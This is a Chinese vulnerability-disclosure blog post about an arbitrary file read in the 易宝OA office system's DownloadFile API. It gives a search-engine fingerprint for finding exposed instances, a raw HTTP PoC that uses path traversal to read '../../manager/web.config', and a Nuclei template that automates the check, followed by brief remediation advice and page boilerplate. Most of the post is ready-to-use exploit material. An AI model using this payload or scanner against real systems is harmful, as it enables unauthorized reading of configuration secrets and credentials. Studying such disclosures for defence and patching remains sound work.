易宝OA downloadfile 任意文件读取

【产品&&漏洞简述】

易宝OA系统是一种专门为企业和机构的日常办公工作提供服务的综合性软件平台,具有信息管理、 流程管理 、知识管理(档案和业务管理)、协同办公等多种功能

易宝OA downloadfile 文件读取,攻击者可通过此漏洞获取敏感信息。

【资产测绘Query】

 
  1. body="topvision_oaName"

【产品界面】

【漏洞复现】

【poc】

 
  1. POST /api/files/DownloadFile HTTP/1.1
  2. Host:
  3. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  4. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  5. Accept-Encoding: gzip, deflate
  6. Upgrade-Insecure-Requests: 1
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
  8. Content-Type: application/x-www-form-urlencoded
  9. token=zxh&requestFileName=../../manager/web.config&pathType=1&startPosition=0&bufferSize=1000

【Nuclei-Poc验证】

 
  1. id: yibao-oa-DownloadFile-read
  2. info:
  3. name: yibao-oa-DownloadFile-read
  4. author: 111
  5. severity: high
  6. http:
  7. - raw:
  8. - |
  9. POST /api/files/DownloadFile HTTP/1.1
  10. Host: {{Hostname}}
  11. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
  12. Content-Length: 93
  13. Content-Type: application/x-www-form-urlencoded
  14. Accept-Encoding: gzip
  15. token=zxh&requestFileName=../../manager/web.config&pathType=1&startPosition=0&bufferSize=1000
  16. extractors:
  17. - type: json
  18. name: filetext
  19. part: body
  20. internal: true
  21. group: 1
  22. json:
  23. - .data
  24. matchers:
  25. - type: dsl
  26. dsl:
  27. - "status_code==200 && contains_all(base64_decode(filetext),'add key','add name')"

【修复建议】

1、请联系厂商进行修复。
2、如非必要,禁止公网访问该系统。
3、设置白名单访问。

   声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值